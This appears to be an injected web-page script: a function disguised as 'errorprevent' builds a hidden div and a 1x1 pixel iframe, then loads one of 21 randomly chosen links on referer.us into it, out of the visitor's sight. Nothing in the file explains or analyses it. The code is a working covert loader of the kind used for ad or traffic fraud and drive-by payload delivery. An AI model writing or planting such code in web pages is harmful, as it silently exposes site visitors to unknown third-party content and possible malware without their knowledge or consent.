function errorprevent(iframeID, url) {

divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "1px";
divel.style.height = "1px";
divel.style.visibility = "hidden";

//Add div
document.body.appendChild(divel);

domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "1px";
domiframe.style.height = "1px";

var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);

}

    var randomnumber=Math.floor(Math.random()*21);

    switch(randomnumber){
        case 0:
            errorprevent("ID1", "http://referer.us/9/Xhky24");
        break
        case 1:
            errorprevent("ID1", "http://referer.us/4/wkjdt1");
        break
        case 2:
            errorprevent("ID1", "http://referer.us/2/lRRML");
        break
        case 3:
            errorprevent("ID1", "http://referer.us/4/fzugb");
        break
        case 4:
            errorprevent("ID1", "http://referer.us/5/6N8UF2");
        break
        case 5:
            errorprevent("ID1", "http://referer.us/7/LV6BJ1");
        break
        case 6:
            errorprevent("ID1", "http://referer.us/0/MHZWK3");
        break
        case 7:
            errorprevent("ID1", "http://referer.us/8/MTLzy2");
        break
        case 8:
            errorprevent("ID1", "http://referer.us/5/wZGga");
        break
        case 9:
            errorprevent("ID1", "http://referer.us/3/AM8Dq3");
        break
        case 10:
            errorprevent("ID1", "http://referer.us/5/k2Ejf");
        break
        case 11:
            errorprevent("ID1", "http://referer.us/3/YGpWJ2");
        break
        case 12:
            errorprevent("ID1", "http://referer.us/4/QFu1C1");
        break
        case 13:
            errorprevent("ID1", "http://referer.us/6/TBsb23");
        break
        case 14:
            errorprevent("ID1", "http://referer.us/2/cHFtk3");
        break
        case 15:
            errorprevent("ID1", "http://referer.us/6/3s0Z13");
        break
        case 16:
            errorprevent("ID1", "http://referer.us/7/WPETl1");
        break
        case 17:
            errorprevent("ID1", "http://referer.us/9/bKAjO3");
        break
        case 18:
            errorprevent("ID1", "http://referer.us/2/gpa1H1");
        break
        case 19:
            errorprevent("ID1", "http://referer.us/8/eVARD3");
        break
        case 20:
            errorprevent("ID1", "http://referer.us/0/hEhqI3");
        break
    }